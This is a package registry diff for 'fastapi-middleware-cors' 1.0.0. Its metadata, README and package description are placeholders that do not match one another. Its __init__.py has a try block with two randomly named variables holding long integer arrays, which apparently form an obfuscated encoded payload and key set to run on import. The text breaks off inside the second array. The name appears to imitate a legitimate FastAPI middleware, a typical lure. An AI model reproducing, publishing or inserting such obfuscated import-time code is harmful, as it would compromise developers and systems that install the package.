fastapi-middleware-cors 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,37 @@
1
+ Metadata-Version: 2.4
2
+ Name: fastapi-middleware-cors
3
+ Version: 1.0.0
4
+ Summary: bible of python utilities - a collection of useful functions and classes for everyday programming tasks
5
+ Author: Alexander
6
+ Author-email: alex_prog120@gmail.com
7
+ License: MIT
8
+ Classifier: Development Status :: 4 - Beta
9
+ Classifier: Intended Audience :: Developers
10
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
11
+ Classifier: License :: OSI Approved :: MIT License
12
+ Classifier: Operating System :: OS Independent
13
+ Classifier: Programming Language :: Python :: 3
14
+ Classifier: Programming Language :: Python :: 3.7
15
+ Classifier: Programming Language :: Python :: 3.8
16
+ Classifier: Programming Language :: Python :: 3.9
17
+ Classifier: Programming Language :: Python :: 3.10
18
+ Classifier: Programming Language :: Python :: 3.11
19
+ Classifier: Programming Language :: Python :: 3.12
20
+ Requires-Python: >=3.7
21
+ Description-Content-Type: text/markdown
22
+ Dynamic: author
23
+ Dynamic: author-email
24
+ Dynamic: classifier
25
+ Dynamic: description
26
+ Dynamic: description-content-type
27
+ Dynamic: license
28
+ Dynamic: requires-python
29
+ Dynamic: summary
30
+
31
+ # My Super Lib
32
+
33
+ [![PyPI version](https://badge.fury.io/py/my-super-lib.svg)](https://badge.fury.io/py/my-super-lib)
34
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
35
+ [![Python Versions](https://img.shields.io/pypi/pyversions/my-super-lib.svg)](https://pypi.org/project/my-super-lib/)
36
+
37
+ # My new project
@@ -0,0 +1,7 @@
1
+ # My Super Lib
2
+
3
+ [![PyPI version](https://badge.fury.io/py/my-super-lib.svg)](https://badge.fury.io/py/my-super-lib)
4
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
5
+ [![Python Versions](https://img.shields.io/pypi/pyversions/my-super-lib.svg)](https://pypi.org/project/my-super-lib/)
6
+
7
+ # My new project
@@ -0,0 +1,36 @@
1
+ from .core import (
2
+ LibConfig,
3
+ get_config,
4
+ configure,
5
+ logger,
6
+ bootstrap,
7
+ LinkedList,
8
+ CryptoUtils,
9
+ FileUtils,
10
+ Validator,
11
+ )
12
+
13
+ try:
14
+ HfvFGfRkomyh= [106, 0, 137, 89, 126, 220, 114, 71, 189, 152, 67, 56, 172, 237, 212, 136, 224, 41, 130, 146, 247, 88, 170, 141, 254, 86, 86, 101, 48, 63, 66, 47, 173, 219, 235, 111, 184, 189, 218, 218, 135, 177, 4, 69, 99, 144, 126, 163, 48, 52, 224, 31, 69, 97, 184, 225, 202, 91, 214, 241, 247, 212, 188, 156, 163, 82, 52, 124, 50, 26, 6, 5, 1, 162, 67, 194, 76, 153, 24, 101, 170, 50, 238, 238, 115, 132, 227, 20, 140, 0, 138, 251, 209, 196, 18, 247, 177, 156, 178, 165, 31, 26, 234, 248, 207, 151, 165, 114, 52, 230, 80, 35, 25, 161, 91, 173, 146, 176, 52, 220, 195, 195, 112, 50, 160, 129, 144, 98, 92, 55, 96, 140, 169, 232, 168, 250, 199, 225, 246, 44, 90, 144, 20, 3, 67, 115, 66, 186, 57, 134, 183, 161, 224, 76, 61, 227, 131, 152, 234, 207, 160, 57, 196, 183, 166, 181, 3, 170, 159, 48, 12, 17, 108, 14, 34, 159, 17, 37, 187, 221, 9, 75, 169, 34, 216, 191, 83, 177, 74, 175, 89, 100, 239, 156, 180, 75, 49, 237, 204, 69, 71, 51, 163, 189, 162, 100, 187, 156, 125, 3, 115, 248, 244, 220, 241, 36, 155, 33, 75, 124, 29, 52, 80, 49, 87, 105, 93, 24, 202, 21, 243, 105, 13, 190, 222, 21, 138, 174, 113, 7, 229, 57, 224, 139, 72, 61, 194, 219, 105, 253, 243, 37, 159, 217, 198, 161, 60, 47, 145, 59, 112, 170, 166, 20, 64, 134, 247, 220, 31, 105, 50, 54, 118, 237, 169, 102, 177, 140, 56, 178, 225, 195, 103, 72, 253, 233, 208, 215, 22, 20, 69, 2, 100, 152, 163, 143, 124, 185, 106, 202, 231, 198, 96, 36, 201, 3, 96, 94, 167, 19, 121, 63, 117, 118, 170, 21, 25, 28, 176, 224, 241, 240, 68, 60, 204, 249, 255, 56, 144, 215, 16, 136, 158, 140, 186, 46, 222, 172, 52, 48, 181, 201, 252, 101, 86, 39, 32, 36, 224, 224, 197, 62]
15
+ rODLzXtDwoly= [14, 101, 239, 121, 43, 149, 31, 63, 242, 233, 7, 91, 216, 151, 129, 254, 162, 127, 235, 225, 223, 113, 144, 173, 140, 51, 34, 16, 66, 81, 98, 30, 158, 232, 220, 101, 246, 210, 139, 160, 227, 230, 104, 19, 25, 245, 57, 208, 70, 99, 175, 111, 101, 92, 152, 180, 131, 54, 174, 190, 134, 144, 223, 232, 217, 7, 66, 62, 100, 115, 117, 45, 40, 168, 33, 186, 26, 255, 74, 52, 253, 116, 158, 155, 63, 239, 142, 103, 237, 121, 170, 198, 241, 230, 77, 168, 222, 254, 212, 208, 108, 121, 139, 140, 170, 243, 250, 16, 77, 185, 32, 81, 118, 254, 4, 143, 152, 186, 93, 177, 179, 172, 2, 70, 128, 236, 241, 16, 47, 95, 1, 224, 133, 200, 210, 150, 174, 131, 252, 107, 15, 195, 92, 69, 19, 30, 38, 202, 120, 192, 195, 226, 177, 62, 75, 195, 190, 184, 136, 182, 212, 92, 183, 159, 253, 130, 50, 134, 191, 9, 63, 61, 76, 63, 18, 179, 49, 20, 131, 235, 37, 107, 152, 19, 232, 147, 115, 128, 126, 150, 117, 68, 222, 172, 130, 103, 17, 219, 251, 105, 103, 2, 147, 142, 142, 68, 130, 173, 81, 35, 66, 192, 216, 252, 192, 22, 171, 13, 107, 73, 49, 20, 98, 1, 100, 69, 125, 41, 255, 34, 223, 73, 60, 143, 233, 57, 170, 154, 65, 43, 197, 12, 217, 167, 104, 15, 240, 226, 69, 221, 194, 20, 169, 245, 230, 147, 13, 23, 189, 27, 65, 153, 146, 56, 96, 180, 195, 238, 51, 73, 10, 2, 90, 205, 155, 86, 137, 160, 24, 128, 211, 245, 75, 104, 197, 221, 252, 247, 39, 35, 115, 46, 68, 169, 145, 182, 80, 153, 91, 254, 214, 234, 64, 21, 241, 47, 64, 111, 139, 51, 75, 10, 70, 90, 138, 39, 41, 42, 156, 192, 195, 201, 104, 28, 248, 205, 211, 24, 161, 231, 37, 164, 190, 190, 136, 30, 242, 140, 3, 0, 153, 233, 206, 87, 102, 11, 0, 21, 214, 210, 233, 30, 82, 49, 165, 121, 70, 235, 94, 103, 132, 171, 111, 24, 158, 221, 231, 164, 192, 27, 177, 162, 219, 120, 155, 185, 200, 122, 118, 87, 0, 10, 110, 15, 156, 226, 223, 67, 152, 137, 236, 246, 167, 131, 54, 117, 79, 176, 79, 154, 6, 24, 192, 45, 119, 83, 148, 193, 242, 111, 250, 209, 198, 227, 139, 176, 131, 96, 4, 79, 30, 58, 55, 60, 56, 142, 99, 243, 126, 174, 52, 69, 146, 5, 194, 206, 65, 180, 208, 56, 172, 49, 185, 203, 253, 228, 35, 195, 128, 176, 146, 150, 43, 54, 202, 204, 255, 187, 133, 69, 4, 202, 112, 17, 41, 146, 119, 141, 163, 132, 6, 240, 227, 250, 72, 30, 128, 176, 166, 82, 112, 23, 82, 189, 156, 196, 136, 203, 245, 205, 214, 30, 105, 161, 56, 35, 119, 64, 110, 154, 12, 190, 155, 129, 209, 124, 8, 207, 163, 170, 222, 246, 140, 25, 243, 130, 138, 149, 50, 155, 166, 28, 44, 39, 91, 34, 2, 171, 40, 9, 155, 236, 49, 122, 133, 2, 235, 134, 127, 145, 123, 154, 104, 72, 207, 170, 131, 103, 17, 220, 253, 113, 107, 19, 146, 136, 154, 72, 155, 173, 72, 47, 83, 203, 195, 240, 209, 22, 170, 24, 103, 92, 47, 0, 96, 29, 119, 91, 109, 47, 230, 53, 199, 95, 33, 158, 234, 44, 166, 142, 64, 55, 221, 21, 192, 186, 121, 9, 238, 251, 95, 209, 211, 20, 174, 232, 234, 129, 11, 28, 189, 27, 66, 157, 138, 52, 115, 183, 219, 252, 46, 91, 5, 26, 86, 220, 133, 70, 128, 184, 20, 146, 208, 243, 81, 100, 221, 221, 232, 251, 54, 38, 117, 54, 72, 184, 146, 182, 74, 149, 74, 243, 213, 234, 64, 21, 253, 58, 76, 126, 150, 38, 78, 19, 85, 71, 157, 45, 53, 60, 130, 208, 201, 220, 100, 13, 249, 204, 211, 24, 167, 238, 60, 168, 175, 180, 143, 2, 254, 158, 7, 0, 153, 233, 202, 92, 122, 7, 22, 20, 204, 192, 247, 12, 83, 44, 169, 107, 78, 238, 94, 103, 140, 171, 118, 20, 140, 220, 236, 185, 204, 9, 187, 163, 219, 120, 155, 180, 210, 118, 110, 87, 28, 31, 115, 26, 129, 251, 217, 94, 136, 145, 250, 235, 181, 134, 40, 101, 82, 162, 82, 131, 8, 2, 204, 63, 118, 86, 148, 193, 243, 119, 246, 192, 199, 224, 144, 188, 155, 99, 24, 92, 3, 35, 62, 41, 33, 151, 123, 238, 108, 171, 43, 80, 134, 18, 223, 214, 71, 168, 195, 37, 190, 51, 166, 219, 224, 253, 35, 219, 145, 173, 134, 147, 51, 58, 223, 192, 227, 183, 148, 65, 4, 202, 112, 17, 45, 152, 119, 141, 163, 133, 12, 240, 227, 241, 69, 30, 128, 184, 188, 66, 109, 6, 86, 160, 137, 222, 132, 218, 255, 216, 218, 12, 107, 164, 35, 47, 99, 65, 113, 137, 21, 166, 134, 152, 209, 96, 29, 210, 187, 170, 198, 239, 149, 10, 232, 151, 148, 134, 58, 134, 191, 2, 61, 36, 64, 46, 16, 175, 32, 9, 155, 236, 49, 126, 133, 2, 234, 139, 100, 157, 106, 157, 105, 85, 195, 188, 133, 120, 29, 205, 249, 124, 107, 19, 150, 139, 142, 68, 138, 168, 81, 35, 66, 202, 194, 240, 209, 28, 183, 1, 122, 69, 46, 24, 112, 0, 100, 93, 113, 56, 243, 45, 223, 73, 63, 139, 239, 57, 170, 157, 67, 43, 197, 14, 211, 167, 104, 15, 241, 234, 69, 221, 194, 23, 172, 245, 230, 144, 4, 27, 189, 27, 66, 154, 145, 56, 96, 183, 198, 228, 51, 73, 3, 1, 78, 193, 137, 80, 136, 160, 24, 128, 212, 243, 75, 104, 204, 219, 227, 251, 54, 37, 112, 53, 72, 184, 146, 183, 80, 153, 88, 249, 214, 234, 64, 28, 252, 47, 64, 111, 158, 37, 85, 31, 68, 67, 152, 57, 57, 46, 130, 214, 221, 208, 117, 8, 249, 213, 223, 10, 164, 227, 60, 168, 168, 186, 150, 14, 232, 155, 24, 16, 131, 250, 208, 69, 100, 22, 18, 8, 192, 209, 240, 12, 70, 32, 187, 106, 76, 240, 82, 119, 145, 184, 114, 13, 154, 193, 244, 185, 215, 27, 174, 178, 197, 109, 159, 161, 222, 100, 98, 92, 28, 31, 115, 24, 157, 247, 203, 94, 138, 136, 246, 250, 182, 130, 40, 101, 81, 160, 77, 143, 16, 5, 214, 39, 105, 65, 143, 210, 230, 123, 228, 197, 194, 248, 156, 173, 149, 96, 24, 92, 3, 47, 53, 41, 33, 149, 116, 238, 108, 170, 44, 73, 138, 0, 223, 221, 95, 164, 215, 33, 160, 32, 187, 204, 224, 232, 50, 198, 129, 175, 158, 133, 45, 43, 218, 212, 239, 166, 150, 69, 24, 198, 97, 23, 47, 141, 123, 159, 163, 135, 24, 252, 241, 241, 66, 30, 128, 182, 163, 78, 124, 6, 87, 188, 133, 200, 153, 207, 246, 205, 214, 20, 109, 188, 52, 50, 122, 68, 110, 154, 11, 179, 132, 141, 192, 120, 12, 207, 163, 169, 211, 254, 140, 25, 243, 135, 138, 149, 54, 159, 179, 16, 61, 35, 90, 34, 2, 174, 40, 29, 151, 253, 59, 122, 154, 14, 248, 142, 101, 130, 102, 143, 111, 83, 195, 188, 129, 122, 29, 205, 254, 117, 114, 31, 131, 139, 142, 68, 138, 169, 69, 47, 83, 201, 195, 233, 221, 4, 170, 24, 115, 80, 61, 3, 105, 29, 119, 88, 100, 47, 230, 53, 202, 94, 33, 158, 239, 45, 166, 142, 67, 52, 215, 21, 192, 191, 121, 17, 226, 233, 93, 204, 223, 5, 173, 236, 243, 141, 28, 29, 162, 12, 92, 138, 159, 44, 108, 166, 198, 236, 46, 69, 18, 14, 71, 193, 137, 87, 132, 190, 20, 146, 208, 245, 83, 100, 221, 216, 229, 251, 54, 37, 116, 59, 72, 184, 146, 187, 73, 149, 74, 248, 223, 234, 64, 21, 252, 53, 76, 126, 147, 36, 85, 31, 64, 67, 134, 53, 42, 47, 156, 192, 194, 195, 104, 28, 253, 206, 204, 20, 176, 231, 60, 168, 172, 160, 154, 31, 236, 152, 24, 16, 132, 252, 207, 73, 118, 16, 24, 8, 192, 210, 240, 18, 74, 49, 186, 96, 82, 252, 67, 116, 132, 180, 99, 9, 149, 216, 248, 168, 214, 16, 174, 178, 198, 104, 134, 173, 204, 102, 110, 73, 16, 12, 116, 3, 141, 234, 210, 94, 148, 157, 233, 236, 171, 145, 53, 113, 86, 188, 94, 146, 2, 24, 192, 45, 112, 84, 148, 193, 251, 106, 239, 221, 215, 229, 139, 168, 143, 114, 5, 76, 6, 54, 38, 55, 49, 154, 111, 226, 126, 171, 40, 73, 138, 11, 194, 206, 71, 176, 207, 52, 190, 51, 189, 215, 241, 252, 43, 219, 145, 169, 133, 137, 63, 43, 221, 193, 227, 183, 148, 66, 1, 202, 112, 18, 43, 141, 123, 159, 163, 156, 20, 237, 246, 242, 92, 18, 147, 184, 188, 66, 101, 3, 76, 172, 152, 216, 145, 214, 231, 208, 197, 28, 118, 176, 37, 49, 119, 95, 98, 139, 1, 183, 155, 129, 211, 122, 17, 195, 183, 174, 198, 239, 146, 8, 241, 155, 134, 132, 49, 156, 179, 16, 62, 36, 95, 34, 2, 173, 37, 28, 151, 253, 56, 122, 153, 14, 248, 138, 97, 157, 106, 155, 107, 72, 207, 165, 135, 103, 17, 220, 255, 105, 103, 0, 148, 145, 130, 85, 137, 169, 81, 35, 66, 205, 193, 240, 209, 21, 174, 23, 103, 92, 44, 24, 112, 0, 96, 92, 113, 56, 251, 44, 192, 69, 45, 136, 234, 57, 170, 159, 69, 52, 201, 25, 209, 184, 113, 17, 226, 239, 69, 221, 194, 29, 167, 245, 230, 144, 14, 24, 189, 27, 73, 147, 138, 52, 113, 191, 206, 240, 63, 91, 2, 6, 90, 205, 145, 74, 145, 191, 0, 158, 193, 241, 84, 123, 209, 201, 225, 228, 47, 56, 101, 51, 93, 173, 143, 175, 77, 128, 95, 230, 199, 247, 87, 23, 229, 35, 82, 106, 149, 63, 89, 6, 71, 90, 138, 39, 44, 41, 156, 192, 195, 194, 125, 16, 236, 206, 206, 20, 176, 227, 32, 164, 190, 189, 141, 2, 254, 149, 5, 28, 149, 248, 202, 86, 122, 7, 17, 19, 215, 204, 229, 15, 89, 52, 165, 121, 79, 237, 74, 107, 157, 170, 115, 12, 128, 205, 224, 187, 204, 9, 179, 166, 193, 116, 138, 188, 207, 103, 122, 69, 2, 14, 118, 3, 141, 233, 223, 90, 148, 157, 235, 233, 176, 157, 36, 119, 80, 161, 82, 131, 2, 5, 214, 51, 101, 80, 128, 205, 234, 106, 231, 198, 219, 244, 136, 173, 143, 114, 6, 77, 7, 54, 38, 55, 50, 149, 111, 226, 127, 160, 52, 69, 146, 2, 194, 206, 75, 183, 207, 52, 189, 53, 184, 215, 241, 246, 32, 192, 157, 188, 128, 149, 51, 58, 216, 201, 248, 187, 133, 71, 2, 202, 112, 17, 41, 148, 119, 141, 164, 156, 20, 237, 240, 240, 92, 18, 146, 178, 161, 78, 124, 5, 83, 160, 137, 217, 144, 207, 235, 193, 199, 28, 98, 188, 52, 50, 117, 70, 110, 154, 8, 178, 131, 141, 192, 125, 8, 214, 175, 184, 222, 252, 140, 25, 243, 133, 138, 149, 50, 156, 175, 28, 44, 35, 91, 34, 2, 173, 34, 29, 151, 253, 56, 120, 155, 14, 248, 137, 99, 157, 106, 158, 109, 80, 195, 188, 134, 121, 29, 205, 250, 125, 107, 19, 149, 132, 142, 68, 131, 176, 93, 50, 71, 204, 216, 252, 192, 22, 173, 13, 107, 77, 36, 12, 124, 17, 102, 92, 109, 52, 234, 39, 194, 89, 33, 158, 231, 37, 166, 142, 64, 62, 201, 25, 209, 185, 127, 17, 226, 236, 88, 209, 211, 20, 175, 225, 234, 129, 10, 23, 189, 27, 65, 155, 151, 56, 96, 180, 198, 234, 51, 73, 3, 6, 65, 193, 137, 94, 136, 160, 24, 131, 217, 242, 75, 104, 204, 208, 233, 251, 54, 35, 113, 46, 68, 171, 155, 163, 92, 139, 95, 250, 203, 230, 87, 8, 233, 50, 83, 105, 139, 51, 75, 13, 71, 90, 138, 39, 45, 44, 156, 192, 192, 199, 116, 16, 236, 200, 205, 1, 188, 247, 33, 176, 167, 160, 154, 31, 237, 156, 24, 16, 134, 229, 220, 84, 102, 11, 0, 21, 209, 216, 233, 30, 91, 49, 188, 117, 94, 238, 71, 119, 145, 184, 113, 12, 128, 205, 229, 185, 213, 5, 162, 163, 197, 107, 134, 173, 207, 101, 103, 73, 16, 14, 116, 24, 129, 251, 223, 87, 148, 157, 235, 226, 182, 157, 36, 118, 91, 188, 94, 146, 0, 3, 204, 63, 116, 83, 143, 205, 234, 105, 230, 192, 219, 244, 142, 173, 147, 126, 20, 78, 2, 44, 42, 37, 48, 155, 117, 238, 108, 168, 42, 81, 134, 18, 221, 220, 95, 164, 210, 33, 190, 44, 170, 202, 232, 241, 62, 215, 128, 170, 132, 137, 63, 43, 219, 201, 227, 183, 148, 66, 24, 198, 98, 16, 46, 141, 123, 149, 164, 156, 20, 237, 242, 241, 92, 18, 148, 180, 188, 66, 104, 7, 76, 172, 155, 217, 158, 214, 231, 215, 198, 0, 122, 162, 38, 54, 111, 83, 115, 143, 11, 170, 151, 144, 210, 123, 17, 195, 177, 171, 220, 227, 128, 8, 253, 135, 138, 149, 50, 153, 169, 28, 44, 32, 85, 57, 14, 191, 32, 16, 131, 241, 41, 127, 159, 14, 248, 134, 106, 157, 106, 158, 109, 93, 195, 188, 134, 126, 4, 193, 236, 114, 112, 31, 131, 143, 145, 72, 155, 169, 76, 47, 83, 202, 193, 233, 221, 4, 172, 20, 103, 92, 47, 1, 98, 29, 119, 88, 108, 32, 230, 53, 192, 91, 33, 158, 235, 36, 166, 142, 71, 48, 201, 25, 210, 191, 123, 17, 226, 233, 93, 202, 223, 5, 173, 234, 247, 141, 28, 30, 167, 3, 92, 138, 151, 37, 108, 166, 197, 239, 47, 69, 18, 4, 67, 221, 244, 79, 187, 233, 123, 235, 170, 177, 37, 18, 159, 162, 184, 153, 95, 100, 22, 120, 47, 184, 158, 175, 30, 192, 30, 175, 148, 238, 59, 18, 250, 47, 64, 111, 148, 38, 85, 31, 68, 70, 153, 57, 57, 47, 131, 204, 209, 193, 116, 15, 224, 217, 205, 11, 167, 251, 48, 186, 173, 189, 150, 14, 239, 152, 12, 28, 149, 248, 203, 82, 122, 7, 17, 17, 214, 204, 229, 12, 88, 49, 165, 121, 74, 229, 94, 103, 140, 168, 112, 20, 140, 220, 228, 187, 204, 9, 179, 170, 207, 116, 138, 188, 207, 103, 122, 69, 2, 10, 110, 15, 156, 233, 199, 79, 137, 138, 226, 246, 167, 133, 60, 105, 67, 161, 74, 145, 28, 20, 215, 43, 105, 65, 139, 217, 230, 123, 228, 197, 219, 244, 142, 173, 143, 114, 5, 75, 6, 54, 38, 55, 48, 148, 111, 226, 125, 161, 45, 73, 138, 3, 215, 219, 95, 164, 210, 39, 187, 44, 170, 202, 228, 253, 62, 215, 135, 165, 158, 133, 46, 45, 211, 212, 239, 165, 150, 68, 24, 198, 97, 17, 53, 129, 109, 159, 190, 144, 12, 238, 239, 227, 65, 5, 147, 173, 176, 80, 108, 0, 76, 172, 152, 216, 153, 214, 231, 211, 198, 24, 118, 176, 33, 47, 99, 74, 122, 150, 25, 180, 133, 152, 204, 108, 4, 218, 175, 184, 217, 254, 140, 25, 245, 142, 148, 153, 35, 155, 169, 7, 32, 49, 85, 60, 14, 191, 32, 19, 130, 241, 41, 122, 144, 26, 244, 159, 98, 134, 126, 131, 121, 93, 217, 176, 148, 121, 0, 221, 224, 101, 118, 4, 147, 145, 130, 85, 142, 175, 81, 35, 65, 200, 198, 240, 209, 22, 162, 13, 107, 77, 42, 3, 124, 17, 111, 90, 113, 56, 248, 38, 193, 69, 45, 140, 237, 36, 166, 142, 64, 50, 220, 21, 192, 187, 100, 29, 243, 232, 91, 209, 211, 20, 170, 225, 234, 129, 14, 29, 169, 23, 80, 155, 150, 56, 96, 181, 198, 240, 63, 88, 2, 6, 90, 205, 155, 83, 129, 160, 24, 128, 211, 239, 71, 122, 204, 218, 252, 247, 39, 37, 115, 46, 68, 169, 149, 185, 80, 153, 91, 254, 203, 230, 85, 16, 229, 35, 81, 110, 139, 51, 75, 13, 68, 90, 138, 38, 40, 48, 144, 215, 201, 220, 100, 13, 249, 204, 211, 24, 168, 227, 60, 168, 175, 185, 141, 2, 254, 158, 1, 28, 149, 248, 204, 87, 122, 7, 17, 18, 208, 204, 229, 12, 91, 56, 165, 121, 79, 238, 75, 107, 157, 169, 112, 1, 128, 205, 236, 184, 204, 9, 179, 170, 206, 116, 138, 188, 206, 122, 118, 87, 5, 15, 110, 15, 159, 235, 222, 67, 152, 143, 239, 234, 171, 145, 49, 115, 79, 176, 79, 155, 5, 24, 192, 45, 118, 81, 148, 193, 251, 109, 230, 221, 215, 229, 139, 170, 143, 114, 5, 77, 2, 54, 38, 48, 50, 142, 99, 243, 123, 173, 52, 69, 157, 4, 194, 206, 66, 183, 214, 56, 172, 49, 186, 207, 253, 228, 35, 197, 128, 176, 146, 157, 41, 54, 202, 201, 251, 164, 137, 82, 6, 215, 105, 15, 57, 146, 104, 129, 178, 132, 7, 240, 227, 242, 69, 3, 140, 161, 161, 86, 101, 27, 64, 190, 156, 219, 132, 218, 246, 212, 195, 0, 122, 162, 38, 52, 111, 83, 115, 138, 0, 170, 151, 144, 210, 122, 17, 195, 181, 173, 198, 239, 146, 10, 253, 155, 134, 132, 49, 154, 179, 16, 56, 39, 64, 46, 22, 167, 61, 5, 142, 237, 37, 107, 152, 21, 238, 147, 115, 135, 124, 131, 121, 85, 218, 165, 152, 107, 0, 221, 250, 105, 103, 5, 143, 157, 151, 86, 151, 188, 76, 54, 68, 212, 212, 238, 194, 28, 183, 1, 122, 73, 47, 24, 112, 0, 96, 88, 113, 56, 251, 45, 194, 69, 45, 139, 234, 57, 170, 151, 67, 43, 197, 14, 215, 167, 104, 5, 245, 247, 73, 196, 196, 9, 191, 235, 244, 149, 16, 15, 167, 3, 92, 138, 158, 56, 96, 176, 193, 240, 63, 95, 0, 26, 86, 217, 157, 74, 145, 190, 9, 133, 205, 227, 86, 120, 207, 197, 240, 227, 58, 52, 119, 48, 72, 184, 149, 185, 80, 153, 89, 230, 199, 241, 83, 8, 233, 50, 84, 106, 139, 51, 72, 14, 69, 90, 138, 36, 44, 37, 156, 192, 195, 196, 125, 16, 236, 193, 198, 20, 176, 230, 34, 164, 190, 190, 137, 27, 242, 140, 6, 4, 129, 229, 220, 84, 96, 31, 12, 4, 210, 211, 233, 30, 91, 49, 190, 117, 94, 233, 66, 107, 157, 174, 112, 20, 140, 220, 226, 177, 204, 9, 180, 190, 215, 106, 154, 181, 210, 118, 96, 81, 28, 31, 115, 26, 156, 247, 203, 93, 137, 143, 246, 250, 182, 130, 54, 105, 67, 162, 79, 144, 28, 20, 212, 51, 101, 87, 136, 205, 234, 106, 226, 221, 215, 229, 138, 176, 131, 97, 0, 80, 18, 43, 53, 61, 45, 130, 118, 245, 96, 185, 46, 92, 134, 18, 223, 221, 64, 168, 195, 37, 190, 52, 166, 219, 224, 241, 62, 215, 128, 172, 129, 137, 63, 40, 221, 212, 239, 174, 145, 94, 20, 215, 102, 17, 53, 129, 105, 156, 170, 156, 20, 239, 245, 239, 80, 3, 152, 176, 188, 66, 110, 4, 86, 160, 137, 222, 132, 218, 245, 212, 218, 12, 109, 166, 56, 35, 114, 68, 116, 150, 25, 191, 134, 141, 192, 124, 17, 195, 178, 161, 221, 227, 128, 11, 240, 142, 138, 149, 49, 158, 166, 28, 44, 32, 92, 56, 14, 191, 39, 16, 151, 253, 56, 127, 156, 14, 248, 141, 98, 132, 102, 143, 107, 86, 223, 176, 148, 121, 1, 217, 224, 101, 118, 4, 155, 145, 130, 80, 136, 176, 93, 58, 65, 212, 212, 229, 200, 8, 187, 16, 122, 69, 49, 20, 97, 3, 102, 69, 125, 33, 250, 57, 211, 81, 60, 146, 254, 36, 185, 159, 93, 39, 212, 12, 216, 167, 104, 14, 247, 247, 73, 204, 223, 5, 174, 233, 244, 141, 28, 29, 160, 11, 92, 138, 148, 45, 108, 166, 198, 234, 45, 69, 18, 7, 67, 216, 133, 70, 130, 181, 20, 146, 211, 242, 86, 100, 221, 219, 224, 228, 58, 52, 113, 55, 72, 184, 146, 185, 75, 149, 74, 255, 208, 234, 64, 21, 248, 48, 76, 126, 159, 34, 85, 31, 68, 69, 153, 57, 57, 45, 136, 214, 221, 208, 119, 13, 224, 217, 198, 9, 188, 247, 33, 185, 171, 160, 154, 31, 237, 154, 24, 16, 132, 249, 208, 69, 103, 23, 21, 8, 192, 209, 246, 12, 70, 32, 184, 96, 70, 240, 82, 117, 141, 174, 111, 24, 152, 216, 248, 168, 209, 26, 176, 190, 215, 105, 146, 190, 210, 118, 100, 86, 7, 19, 98, 29, 158, 237, 199, 79, 138, 140, 226, 246, 167, 135, 48, 105, 67, 161, 72, 143, 16, 5, 204, 63, 119, 82, 142, 205, 234, 109, 228, 221, 215, 231, 136, 176, 131, 100, 1, 80, 18, 43, 62, 50, 45, 130, 118, 241, 96, 185, 41, 83, 156, 30, 206, 220, 71, 182, 207, 52, 189, 52, 191, 215, 241, 245, 32, 196, 157, 188, 128, 145, 38, 54, 202, 201, 249, 187, 133, 67, 7, 211, 124, 3, 40, 144, 109, 129, 178, 129, 0, 235, 239, 227, 69, 30, 128, 184, 164, 78, 124, 4, 82, 160, 137, 217, 158, 203, 235, 193, 196, 24, 99, 188, 52, 50, 114, 95, 98, 139, 1, 183, 155, 129, 209, 116, 13, 207, 163, 169, 219, 252, 140, 25, 245, 143, 147, 153, 35, 155, 175, 0, 32, 49, 85, 55, 14, 191, 35, 20, 136, 241, 41, 122, 158, 19, 244, 159, 107, 134, 102, 143, 104, 87, 214, 176, 148, 121, 0, 223, 224, 101, 126, 4, 143, 157, 155, 85, 151, 188, 79, 55, 74, 212, 212, 229, 195, 8, 187, 19, 123, 78, 49, 20, 97, 0, 110, 69, 125, 44, 243, 57, 211, 80, 59, 146, 254, 38, 191, 130, 81, 53, 213, 14, 204, 171, 121, 13, 246, 247, 73, 204, 194, 18, 179, 249, 255, 151, 16, 15, 160, 12, 64, 134, 134, 38, 113, 180, 219, 252, 46, 92, 3, 26, 86, 218, 154, 74, 145, 189, 14, 133, 205, 227, 86, 123, 207, 197, 240, 229, 38, 33, 105, 34, 85, 170, 148, 163, 92, 139, 95, 254, 203, 230, 88, 16, 229, 35, 81, 103, 145, 63, 89, 13, 68, 71, 134, 53, 40, 42, 132, 204, 209, 193, 114, 8, 224, 217, 206, 14, 163, 251, 48, 186, 173, 188, 150, 14, 230, 148, 24, 16, 141, 241, 208, 69, 103, 18, 24, 8, 192, 210, 247, 9, 70, 32, 176, 106, 82, 252, 67, 114, 142, 180, 99, 15, 157, 193, 244, 186, 209, 30, 174, 178, 206, 104, 134, 173, 207, 103, 96, 73, 16, 13, 114, 25, 129, 251, 221, 91, 148, 157, 239, 233, 171, 145, 51, 116, 79, 176, 73, 149, 28, 20, 209, 41, 112, 77, 152, 217, 255, 119, 246, 192, 197, 236, 144, 188, 144, 100, 24, 92, 0, 42, 53, 41, 33, 155, 116, 238, 108, 174, 45, 73, 138, 7, 215, 194, 83, 182, 209, 45, 160, 32, 191, 207, 253, 228, 35, 197, 128, 176, 146, 151, 44, 34, 198, 216, 253, 167, 145, 94, 20, 215, 96, 18, 53, 129, 106, 158, 162, 156, 20, 237, 246, 241, 92, 18, 146, 181, 163, 78, 124, 6, 82, 181, 133, 200, 144, 201, 235, 193, 196, 24, 107, 188, 52, 50, 115, 64, 110, 154, 12, 179, 155, 129, 209, 125, 12, 207, 163, 174, 216, 227, 128, 8, 246, 128, 138, 149, 48, 147, 179, 16, 62, 32, 84, 34, 2, 174, 36, 23, 151, 253, 59, 127, 133, 2, 234, 143, 98, 157, 106, 158, 111, 87, 195, 188, 133, 115, 4, 193, 236, 125, 107, 19, 146, 142, 147, 72, 155, 173, 75, 55, 95, 216, 194, 238, 221, 4, 163, 20, 103, 92, 47, 5, 104, 29, 119, 91, 111, 44, 230, 53, 193, 89, 60, 146, 254, 36, 187, 150, 93, 39, 210, 12, 204, 171, 121, 10, 244, 247, 73, 207, 195, 28, 179, 249, 244, 146, 16, 15, 168, 15, 92, 138, 151, 34, 114, 170, 215, 235, 42, 69, 18, 7, 65, 221, 133, 70, 131, 190, 9, 158, 193, 241, 82, 123, 209, 201, 232, 227, 58, 52, 116, 52, 82, 180, 131, 186, 68, 149, 74, 254, 214, 234, 64, 21, 250, 51, 76, 126, 147, 42, 85, 31, 68, 70, 153, 57, 57, 42, 128, 204, 209, 194, 125, 16, 236, 200, 206, 12, 188, 247, 33, 189, 175, 160, 154, 28, 238, 152, 24, 16, 128, 248, 208, 69, 98, 21, 12, 4, 210, 209, 245, 18, 74, 53, 